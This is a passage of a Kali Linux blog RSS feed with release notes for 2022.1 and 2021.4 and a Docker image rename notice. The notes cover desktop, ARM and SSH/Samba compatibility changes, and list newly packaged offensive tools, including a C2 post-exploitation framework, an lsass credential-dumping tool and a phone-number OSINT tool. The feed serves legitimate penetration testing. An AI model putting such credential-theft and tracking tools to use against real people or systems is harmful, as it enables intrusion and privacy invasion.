&lt;img src="https://www.kali.org/blog/kali-linux-2022-1-release/images/firefox-home-page.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="kali-everything-image-everything-in-one-place">Kali Everything Image: Everything in one place&lt;/h2>
&lt;p>This release will welcome a &lt;strong>new flavor&lt;/strong>, the &amp;ldquo;kali-linux-everything&amp;rdquo; image. This allows for &lt;strong>a complete offline standalone image&lt;/strong> (ISO), for those who require &lt;strong>all of Kali&amp;rsquo;s tools to be pre-installed&lt;/strong>. Unlike &lt;a href="https://www.kali.org/blog/kali-linux-2020-2-release/">previously&lt;/a>, users will not be required to download the &amp;ldquo;kali-linux-everything&amp;rdquo; packages during Kali&amp;rsquo;s setup via a network mirror, as they will be located on the same media, but the image is much larger to initially download due to this. Because of the size increase, (~2.8GB to ~9.4GB), these images will be only initially offered using a technology that its designed to handle the traffic, BitTorrent. Additionally, as there are more packages, it will take longer to also install Kali.&lt;/p>
&lt;p>If you understand what you are doing, and this sounds like something you would like, &lt;a href="https://www.kali.org/get-kali/">grab the torrents&lt;/a> and give it a try!&lt;/p>
&lt;p>To learn more about the grouping of Kali&amp;rsquo;s packages, please see our documentation about &lt;a href="https://www.kali.org/docs/general-use/metapackages/">metapackages&lt;/a>.&lt;/p>
&lt;p>&lt;em>This will not include &lt;a href="https://www.kali.org/blog/introducing-kaboxer/">Kaboxer&lt;/a> applications at this point in time, due to a known limitation.&lt;/em>&lt;/p>
&lt;h2 id="kali-tweaks-legacy-ssh-made-easy">Kali-Tweaks: Legacy SSH Made Easy&lt;/h2>
&lt;p>There is a new setting in the &lt;code>kali-tweaks&lt;/code> &lt;em>Hardening&lt;/em> section! It is now possible to configure Kali&amp;rsquo;s SSH client for &lt;em>Wide Compatibility&lt;/em>, which means that &lt;strong>old algorithms and ciphers are enabled&lt;/strong>. Thanks to that, connecting to old servers that use those is now straightforward, no need to pass additional options explicitly on the command-line.&lt;/p>
&lt;p>The purpose of this setting is to make it easier to discover vulnerable SSH servers, just like &lt;a href="https://www.kali.org/blog/kali-linux-2021-3-release/">explained previously&lt;/a> this opens up more potential attack surfaces &lt;em>(which is how this came about, due to a recent pentest, a Uninterruptible Power Supply gave us our foothold to complete network pwnage)&lt;/em>.&lt;/p>
&lt;div class="notices info">
&lt;p data-header="Info">
Please note, unlike &lt;a href="https://www.kali.org/blog/kali-linux-2021-3-release/">OpenSSL&lt;/a> and &lt;a href="https://www.kali.org/blog/kali-linux-2021-4-release/">Samba&lt;/a>, this weakened behaviour is &lt;em>NOT&lt;/em> enabled by default, as SSH is a sensitive enough component that we prefer to keep it &lt;strong>&lt;em>Secure&lt;/em> by default&lt;/strong>. Therefore if you are interested in this setting, you will have to run &lt;code>kali-tweaks&lt;/code>, enter the &lt;em>Hardening&lt;/em> section and enable it in there.
&lt;/p>
&lt;/div>
&lt;p>Here is what the &lt;em>Hardening&lt;/em> screen looks like currently:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-1-release/images/kali-tweaks-hardening.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-1-release/images/kali-tweaks-hardening.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="vmware-i3-improvements">VMware i3 Improvements&lt;/h2>
&lt;p>For users that use Kali in a guest VM with the i3 desktop environment (&lt;code>kali-desktop-i3&lt;/code>), VMware&amp;rsquo;s host-guest features (e.g. drag &amp;rsquo;n&amp;rsquo; drop, copy/paste) were not enabled by default, it had to be done manually. This is now fixed and you should not have anything to do, it should work out of the box. This was enabled with package &lt;a href="https://pkg.kali.org/pkg/i3-wm">i3-wm&lt;/a> &lt;code>4.20.1-1&lt;/code>.&lt;/p>
&lt;h2 id="accessibility-talk-to-me">Accessibility: Talk To Me&lt;/h2>
&lt;p>We have always tried to support as many users of Kali as possible. This is true from our &lt;a href="https://www.kali.org/blog/kali-linux-1-0-3-release/">early releases&lt;/a> through to today.&lt;/p>
&lt;p>To help blind and visually impaired users, we are pleased to say &lt;strong>speech synthesis&lt;/strong> is back in the Kali setup. When we released &lt;a href="https://www.kali.org/blog/kali-linux-2021-4-release/">Kali 2021.4&lt;/a>, the sound in the installer broke. This was due to a packaging bug in the sound driver, and unfortunately this issue went unnoticed for a while. This is now fixed. Big thanks to isfr8585 who reported the &lt;a href="https://bugs.kali.org/view.php?id=7467">issue&lt;/a>!&lt;/p>
&lt;h2 id="new-tools-in-kali">New Tools in Kali&lt;/h2>
&lt;p>Between numerous packages updates, there has been various new tools added! A quick breakdown of what has been added &lt;em>(to the network repositories)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/dnsx">dnsx&lt;/a> - Fast and multi-purpose DNS toolkit allow to run multiple DNS queries&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/email2phonenumber">email2phonenumber&lt;/a> - An OSINT tool to obtain a target&amp;rsquo;s phone number just by having his email address&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/naabu">naabu&lt;/a> - A fast port scanner with a focus on reliability and simplicity&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/nuclei">nuclei&lt;/a> - Targeted scanning based on templates&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/poshc2">PoshC2&lt;/a> - A proxy aware C2 framework with post-exploitation and lateral movement&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/proxify">proxify&lt;/a> - Swiss Army knife Proxy tool for HTTP/HTTPS traffic capture, manipulation, and replay on the go&lt;/li>
&lt;/ul>
&lt;p>&lt;em>Shout-out to &lt;a href="https://projectdiscovery.io/">ProjectDiscovery&lt;/a> for their work &amp;amp; tools!&lt;/em>&lt;/p>
&lt;h2 id="kali-arm-updates">Kali ARM Updates&lt;/h2>
&lt;p>A list of packages that were previously not available for the &lt;code>arm64&lt;/code> architecture, and that have been added in this release:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/feroxbuster">feroxbuster&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/ghidra">ghidra&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Bluetooth should now be fixed on the RaspberryPi images, aside from the Zero 2 W, which we are still hunting down a fix for and will release an updated image when it is ready. There was a change with the bootloader that changed the serial device name being used.&lt;/p>
&lt;p>Image file names have changed to be a bit more verbose with their naming, instead of using short-hand or nicknames of devices.&lt;/p>
&lt;p>The build scripts now have a &lt;a href="https://www.kali.org/docs/development/arm-build-scripts/">documentation page&lt;/a> that explains them a bit more in depth.&lt;/p>
&lt;p>The RaspberryPi Zero 2 W device has documentation now as well.&lt;/p>
&lt;hr>
&lt;h2 id="community-shout-outs">Community Shout-Outs&lt;/h2>
&lt;p>These are &lt;strong>people from the public who have helped Kali&lt;/strong> and the team for the last release. And we want to praise them for their work &lt;em>(we like to give credit where due!)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://twitter.com/laiuydfoiu">Greg Myers&lt;/a> who helped to clean up our kali-docs&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/voidyourwarranty">Void Your Warranty&lt;/a> who contributed a very helpful &lt;a href="https://www.kali.org/docs/usb/usb-standalone-encrypted/">encrypted standalone USB&lt;/a> kali-docs page&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/cyrus104">D&lt;/a> for his contributions on the Gatworks Ventana and Gateworks Newport Kali ARM build-scripts&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/1y">1y&lt;/a> for contributing the i.MX6ULL EVK Kali ARM build-script, which we accidentally dropped during the refactoring. It has now been restored.&lt;/li>
&lt;/ul>
&lt;p>Anyone can help out, anyone can get &lt;a href="https://www.kali.org/docs/community/contribute/">involved&lt;/a>!&lt;/p>
&lt;hr>
&lt;h2 id="download-kali-linux-20221">Download Kali Linux 2022.1&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>:
So what are you waiting for? Start &lt;a href="https://www.kali.org/get-kali/">downloading&lt;/a> already!&lt;/p>
&lt;p>Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong> that you can use as well. If you cannot wait for our next release and you want the latest packages &lt;em>(or bug fixes)&lt;/em> when you download the image, you can just use the weekly image instead.
This way you will have fewer updates to do.
&lt;em>Just know that these are automated builds that we do not QA like we do our standard &lt;a href="https://www.kali.org/releases/">release images&lt;/a>&lt;/em>. But we gladly take &lt;a href="https://bugs.kali.org/">bug reports&lt;/a> about those images because we want any issues to be fixed before our next release!&lt;/p>
&lt;p>&lt;strong>Existing Installs&lt;/strong>:
If you already have an existing Kali Linux installation, remember you can always do a quick &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free&amp;quot; | sudo tee /etc/apt/sources.list
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
┌──(kali㉿kali)-[~]
└─$ cp -rbi /etc/skel/. ~
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2022.1. We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION=&amp;quot;2022.1&amp;quot;
VERSION_ID=&amp;quot;2022.1&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP Debian 5.15.15-2kali1 (2022-01-31)
┌──(kali㉿kali)-[~]
└─$ uname -r
5.15.0-kali3-amd64
&lt;/code>&lt;/pre>
&lt;p>&lt;em>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux">architecture&lt;/a>.&lt;/em>&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>. &lt;em>We will never be able to fix what we do not know is broken!&lt;/em> &lt;strong>And &lt;a href="https://twitter.com/kalilinux">Twitter&lt;/a> is not a Bug Tracker!&lt;/strong>&lt;/p>
&lt;p>Want to keep in up-to-date easier? We have a &lt;a href="https://www.kali.org/rss.xml">RSS feeds&lt;/a> &amp;amp; &lt;a href="https://www.kali.org/newsletter/">newsletter&lt;/a> of our &lt;a href="https://www.kali.org/blog/">blog&lt;/a>!&lt;/p></description></item><item><title>Kali's stable Docker image is now named kali-last-release</title><link>https://www.kali.org/blog/renaming-kali-stable-docker-image/</link><guid isPermaLink="true">https://www.kali.org/blog/renaming-kali-stable-docker-image/</guid><pubDate>Wed, 12 Jan 2022 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/renaming-kali-stable-docker-image/images/banner.jpg" type="image/jpg"/><description>&lt;p>Here is a very quick announcement for users of the &lt;a href="https://www.kali.org/docs/containers/official-kalilinux-docker-images/">Kali Linux Docker Images&lt;/a>.&lt;/p>
&lt;p>Until recently we used to have a Docker image named simply &lt;code>kali&lt;/code>, and it was built from the last &lt;a href="https://www.kali.org/releases/">versioned release&lt;/a> of Kali (e.g. 2019.4, 2020.1, etc.) matching our &lt;a href="https://www.kali.org/docs/general-use/kali-branches/">&amp;ldquo;kali-last-snapshot&amp;rdquo; network repositories branch&lt;/a>. In a way, this is our &amp;ldquo;stable&amp;rdquo; release, as it will only get updates quarterly as it is in synchronisation with our release cycle.&lt;/p>
&lt;p>We still provide this &lt;strong>Docker image&lt;/strong>, but now it has been &lt;strong>renamed from &lt;code>kali&lt;/code> to &lt;a href="https://hub.docker.com/r/kalilinux/kali-last-release">&lt;code>kali-last-release&lt;/code>&lt;/a>&lt;/strong> for clarity.&lt;/p>
&lt;p>The old &lt;code>kali&lt;/code> Docker image is still around for the time being, but if you use it you will see a deprecation warning to indicate that it is in the &lt;strong>process of being phased out&lt;/strong>. The rest of the deprecation plan is as follow:&lt;/p>
&lt;ul>
&lt;li>Upon Kali &lt;code>2022.1&lt;/code> release, we will update the image to make it fail, meaning that the container will error out with a helpful message when you try to run it.&lt;/li>
&lt;li>Upon Kali &lt;code>2022.2&lt;/code> release, we will completely remove it from &lt;a href="https://hub.docker.com/r/kalilinux/">our Docker Hub&lt;/a>.&lt;/li>
&lt;/ul>
&lt;p>So if you still use this image in your scripts or Dockerfiles, &lt;strong>please update&lt;/strong> those and use &lt;code>kali-last-release&lt;/code> instead.&lt;/p>
&lt;p>An additional reminder: if you are after the &lt;strong>most up-to-date version of Kali, you probably want to use the &lt;a href="https://hub.docker.com/r/kalilinux/kali-last-release">kali-rolling&lt;/a> Docker image&lt;/strong>. This is the &amp;ldquo;main&amp;rdquo; image &lt;em>(which matches our other platforms)&lt;/em>, and it is updated every week &lt;em>(the network packages get updated daily also like all other Kali platforms)&lt;/em>.&lt;/p>
&lt;p>For lots more details, please refer to our &lt;a href="https://www.kali.org/docs/containers/official-kalilinux-docker-images/">official Kali Docker documentation&lt;/a>.&lt;/p>
&lt;p>Thank you and happy 11111100110!&lt;/p>
&lt;p>PS &amp;ndash; On a related topic: the Kali images were recently added to the &lt;a href="https://github.com/containers/shortnames">containers shortnames list&lt;/a>. It means that &lt;strong>Podman users&lt;/strong> can run a Kali container simply by typing &lt;code>podman run -it kali-rolling&lt;/code>, rather than using the full image name &lt;code>docker.io/kalilinux/kali-rolling&lt;/code>. This works if the host system provides a very up-to-date shortnames list in &lt;code>/etc/containers/registries.conf.d/shortnames.conf&lt;/code>. &lt;em>If your host system is Kali Rolling, that&amp;rsquo;s already the case!&lt;/em>&lt;/p></description></item><item><title>Kali Linux 2021.4 Release</title><link>https://www.kali.org/blog/kali-linux-2021-4-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2021-4-release/</guid><pubDate>Thu, 09 Dec 2021 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2021-4-release/images/banner-2021.4-release.jpg" type="image/jpg"/><description>&lt;p>With the end of 2021 just around the corner, we are pushing out the last &lt;a href="https://www.kali.org/releases/">release&lt;/a> of the year with &lt;strong>Kali Linux 2021.4&lt;/strong>, which is ready for immediate &lt;a href="https://www.kali.org/get-kali/">download&lt;/a> or &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">updating&lt;/a>.&lt;/p>
&lt;p>The summary of the &lt;a href="https://bugs.kali.org/changelog_page.php">changelog&lt;/a> since the &lt;a href="https://www.kali.org/blog/kali-linux-2021-3-release/">2021.3 release from September 2021&lt;/a> is:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-2021-4-release/#kali-on-the-apple-m1">Improved Apple M1 support&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-2021-4-release/#extended-compatibility-for-the-samba-client">Wide compatibility for Samba&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-2021-4-release/#easy-package-manager-mirror-configuration">Switching package manager mirrors&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-2021-4-release/#kaboxer-theme-support">Kaboxer theming&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-2021-4-release/#desktop--theme-enhancement">Updates to Xfce, GNOME and KDE&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-2021-4-release/#kali-arm-updates">Raspberry Pi Zero 2 W + USBArmory MkII ARM images&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-2021-4-release/#new-tools-in-kali">More tools&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="kali-on-the-apple-m1">Kali on the Apple M1&lt;/h2>
&lt;p>As we announced in &lt;a href="https://www.kali.org/blog/kali-linux-2021-1-release/">Kali 2021.1&lt;/a> we supported installing Kali Linux on Parallels on Apple Silicon Macs, well with 2021.4, we now also support it on the &lt;a href="https://blogs.vmware.com/teamfusion/2021/09/fusion-for-m1-public-tech-preview-now-available.html">VMware Fusion Public Tech Preview&lt;/a> thanks to the &lt;a href="https://pkg.kali.org/pkg/linux">5.14 kernel&lt;/a> having the modules needed for the virtual GPU used. We also have updated the &lt;code>open-vm-tools&lt;/code> &lt;a href="https://pkg.kali.org/pkg/open-vm-tools">package&lt;/a>, and &lt;a href="https://pkg.kali.org/pkg/debian-installer">Kali&amp;rsquo;s installer&lt;/a> will automatically detect if you are installing under VMware and install the &lt;code>open-vm-tools-desktop&lt;/code> package, which should allow you to change the resolution out of the box. As a reminder, this is still a &lt;em>preview&lt;/em> from VMware, so there may be some rough edges. There is no extra &lt;a href="https://www.kali.org/docs/virtualization/install-vmware-guest-vm/">documentation&lt;/a> for this because the &lt;a href="https://www.kali.org/docs/installation/hard-disk-install/">installation process&lt;/a> is the same as VMWare on 64-bit and 32-bit Intel systems, just using the &lt;a href="https://www.kali.org/get-kali/">arm64 ISO&lt;/a>.&lt;/p>
&lt;p>As a reminder, virtual machines on &lt;strong>Apple Silicon are still limited to arm64 architecture only&lt;/strong>.&lt;/p>
&lt;h2 id="extended-compatibility-for-the-samba-client">Extended Compatibility for the Samba Client&lt;/h2>
&lt;p>Starting Kali Linux 2021.4, the &lt;a href="https://pkg.kali.org/pkg/samba">Samba&lt;/a> client is now configured for &lt;strong>Wide Compatibility&lt;/strong> so that it can connect to pretty much every Samba server out there, regardless of the version of the protocol in use. This change should make it easier to discover vulnerable Samba servers &amp;ldquo;out of the box&amp;rdquo;, without having to configure Kali.&lt;/p>
&lt;p>This setting can be changed easily via the command-line tool &lt;code>kali-tweaks&lt;/code>. In the &lt;em>Hardening&lt;/em> section, one can choose the value &lt;strong>Default&lt;/strong> instead, which reverts back to Samba&amp;rsquo;s usual default, and only allow using modern versions of the Samba protocol.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-4-release/images/kali-tweaks-hardening.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-4-release/images/kali-tweaks-hardening.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>As one can see on this screenshot, there&amp;rsquo;s also a similar setting for &lt;a href="https://pkg.kali.org/pkg/openssl">OpenSSL&lt;/a>. You might want to refer to the &lt;a href="https://www.kali.org/blog/kali-linux-2021-3-release/">2021.3 release announcement&lt;/a> for more details on this setting.&lt;/p>
&lt;h2 id="easy-package-manager-mirror-configuration">Easy Package Manager Mirror Configuration&lt;/h2>
&lt;p>By default, when a Kali system is updated, the package manager (&lt;a href="https://pkg.kali.org/pkg/apt">APT&lt;/a>) downloads packages from a &lt;a href="https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/">community mirror&lt;/a> nearby. But did you know that it&amp;rsquo;s also possible to configure Kali to get its package from the &lt;a href="https://blog.cloudflare.com/cloudflare-repositories-ftw/">Cloudflare CDN&lt;/a>? To be honest, &lt;a href="https://www.kali.org/blog/kali-linux-2019-3-release/">this is old news&lt;/a>. But what&amp;rsquo;s new is that you can now use &lt;code>kali-tweaks&lt;/code> to quickly configure whether APT should use community mirrors or the Cloudflare CDN.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-4-release/images/kali-tweaks-mirrors.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-4-release/images/kali-tweaks-mirrors.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>So which one is best, community mirrors or Cloudflare CDN? There&amp;rsquo;s no good answer. The time that it actually takes to update Kali can vary greatly and depends on many factors, including the speed of your Internet connection, your location, and even the time of day, if ever you live in a place where Internet traffic jam occurs at rush hour. The point is: if ever Kali updates are slow, the best you can do is to try to switch from community mirrors to Cloudflare CDN, or the other way round, and find what works best for you. And with &lt;code>kali-tweaks&lt;/code>, it&amp;rsquo;s never been easier!&lt;/p>
&lt;h2 id="kaboxer-theme-support">Kaboxer Theme Support&lt;/h2>
&lt;p>With the latest update of &lt;strong>&lt;a href="https://pkg.kali.org/pkg/kaboxer">Kaboxer&lt;/a>&lt;/strong> tools no longer look out of place, as it brings &lt;strong>support for window themes and icon themes&lt;/strong> (placed respectively inside &lt;code>/usr/share/themes&lt;/code> and &lt;code>/usr/share/icons&lt;/code>). This allows the program to properly integrate with the rest of the desktop and avoids the usage of ugly fallback themes.&lt;/p>
&lt;p>Here is a comparison of how zenmap (&lt;strong>zenmap-kbx&lt;/strong> &lt;a href="https://pkg.kali.org/pkg/zenmap-kbx">package&lt;/a>) looks with the default Kali Dark theme, compared to the old appearance:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-4-release/images/kaboxer-theme-support.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-4-release/images/kaboxer-theme-support.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="new-tools-in-kali">New Tools in Kali&lt;/h2>
&lt;p>It would not be a Kali release if there were not any new tools added! A quick run down of what&amp;rsquo;s been added &lt;em>(to the &lt;a href="https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/">network repositories&lt;/a>)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/dufflebag">Dufflebag&lt;/a> - Search exposed EBS volumes for secrets&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/maryam">Maryam&lt;/a> - Open-source Intelligence (OSINT) Framework&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/name-that-hash">Name-That-Hash&lt;/a> - Do not know what type of hash it is? Name That Hash will name that hash type!&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/proxmark3">Proxmark3&lt;/a> - if you are into Proxmark3 and RFID hacking&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/rev-proxy-grapher">Reverse Proxy Grapher&lt;/a> - graphviz graph illustrating your reverse proxy flow&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/s3scanner">S3Scanner&lt;/a> - Scan for open S3 buckets and dump the contents&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/spraykatz">Spraykatz&lt;/a> - Credentials gathering tool automating remote procdump and parse of lsass process.&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/trufflehog">truffleHog&lt;/a> - Searches through git repositories for high entropy strings and secrets, digging deep into commit history&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/wotmate">Web of trust grapher (wotmate)&lt;/a> - reimplement the defunct PGP pathfinder without needing anything other than your own keyring&lt;/li>
&lt;/ul>
&lt;h2 id="desktop--theme-enhancement">Desktop &amp;amp; Theme Enhancement&lt;/h2>
&lt;p>This release brings updates for all the 3 main desktops (&lt;a href="https://pkg.kali.org/pkg/xfce4">Xfce&lt;/a>, &lt;a href="https://pkg.kali.org/pkg/gnome-shell">GNOME&lt;/a>, and &lt;a href="https://pkg.kali.org/pkg/kde-plasma-desktop">KDE&lt;/a>), but one that is common to all of them is the &lt;strong>new window buttons design&lt;/strong>. Previous buttons were designed to fit the window theme of Xfce but did not work well with the other desktops and lacked personality. The new design looks elegant on any of the desktops and makes it easier to spot the currently focused window.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-4-release/images/new-window-buttons.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-4-release/images/new-window-buttons.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="xfce">Xfce&lt;/h3>
&lt;p>The panel layout has been tweaked to optimize horizontal space and make room for 2 new widgets: the &lt;strong>CPU usage widget&lt;/strong> and the &lt;strong>VPN IP widget&lt;/strong>, which remains hidden unless a VPN connection is established.&lt;/p>
&lt;p>Following the steps of other desktops, the &lt;strong>task manager&lt;/strong> has been configured to &lt;strong>&amp;ldquo;icons only&amp;rdquo;&lt;/strong>, which, with the slight increase in the panel&amp;rsquo;s height, makes the overall look cleaner and improves multitasking in smaller displays.&lt;/p>
&lt;p>The &lt;strong>workspaces overview&lt;/strong> has been configured to the &amp;ldquo;Buttons&amp;rdquo; appearance, as the previous configuration &amp;ldquo;Miniature view&amp;rdquo; was too wide and a bit confusing for some users. Now that each workspace button takes less space in the panel, we have &lt;strong>increased the default number of workspaces to 4&lt;/strong>, as it&amp;rsquo;s a usual arrangement in Linux desktops.&lt;/p>
&lt;p>To finish with the modifications, a shortcut to &lt;strong>PowerShell&lt;/strong> has been added to the terminals dropdown menu. With this addition, you can now choose between the regular terminal, root terminal, and PowerShell.&lt;/p>
&lt;div class="notices info">
&lt;p data-header="Info">
If you prefer the previous configuration for any of the widgets, you can modify or remove them by pressing &lt;code>Ctrl + Right-Click&lt;/code> over it.
&lt;/p>
&lt;/div>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-4-release/images/xfce-layout-updates.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-4-release/images/xfce-layout-updates.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>In addition to the Xfce design tweaks, In the image above, we can also observe the new &lt;strong>customized prompt for PowerShell&lt;/strong> (in the two-line mode). Same as for &lt;a href="https://pkg.kali.org/pkg/zsh">zsh&lt;/a> and &lt;a href="https://pkg.kali.org/pkg/bash">bash&lt;/a>, it includes an alternative one-line prompt that can be configured with &lt;code>kali-tweaks&lt;/code>.&lt;/p>
&lt;p>&lt;strong>Bonus Tips For Virtual Desktops!&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>You can add or remove workspaces with the shortcuts: &lt;code>Alt + Insert&lt;/code> / &lt;code>Alt + Delete&lt;/code>&lt;/li>
&lt;li>You can move through workspaces with the shortcuts:
&lt;ul>
&lt;li>&lt;code>Ctrl + Alt + &amp;lt;ARROW_KEY&amp;gt;&lt;/code> to move in the direction of the arrow key.
&lt;ul>
&lt;li>(if you add &lt;code>Shift&lt;/code> you move the current focused window)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;code>Ctrl + Alt + &amp;lt;WORKSPACE_NUM&amp;gt;&lt;/code> to move to a specific workspace, based on its number.&lt;/li>
&lt;li>&lt;code>Ctrl + Super + &amp;lt;WORKSPACE_NUM&amp;gt;&lt;/code> to move a window to a specific workspace, based on its number.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-4-release/images/workspaces-shortcuts-demo.gif' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-4-release/images/workspaces-shortcuts-demo.gif" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="gnome-41">GNOME 41&lt;/h3>
&lt;p>In this update, GNOME desktop has received not one, but two version bumps. It&amp;rsquo;s been one year since the last major update of the GNOME desktop in Kali (with GNOME 3.38) and since then there have been two releases of the desktop environment:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://help.gnome.org/misc/release-notes/40.0/">Introducing GNOME 40&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://help.gnome.org/misc/release-notes/41.0/">Introducing GNOME 41&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>All themes and extensions have been updated to support the new shell:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-4-release/images/gnome41.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-4-release/images/gnome41.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-4-release/images/gnome41-overview.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-4-release/images/gnome41-overview.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="kde-523">KDE 5.23&lt;/h3>
&lt;p>The KDE team celebrated its 25th anniversary releasing the update &lt;a href="https://kde.org/announcements/plasma/5/5.23.0/">5.23&lt;/a> of the &lt;strong>Plasma&lt;/strong> desktop. This update, now available in Kali, brings a &lt;strong>new design for the Breeze theme&lt;/strong>, which improves the look of Plasma with details that add glossiness and style to the desktop. Along with the theme improvements, the &lt;em>System Settings&lt;/em> (Under &lt;em>Global Theme &amp;gt; Colors&lt;/em>) brings a &lt;em>new option to pick the desktop &lt;strong>accent color&lt;/strong>&lt;/em>.&lt;/p>
&lt;p>From Kali&amp;rsquo;s side, the new window theme for KDE is now based on the source code of the breeze theme instead of using the &lt;em>Aurorae&lt;/em> theme engine. This fixes previous issues with window scaling for &lt;a href="https://www.kali.org/docs/general-use/hidpi/">HiDPI displays&lt;/a>.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
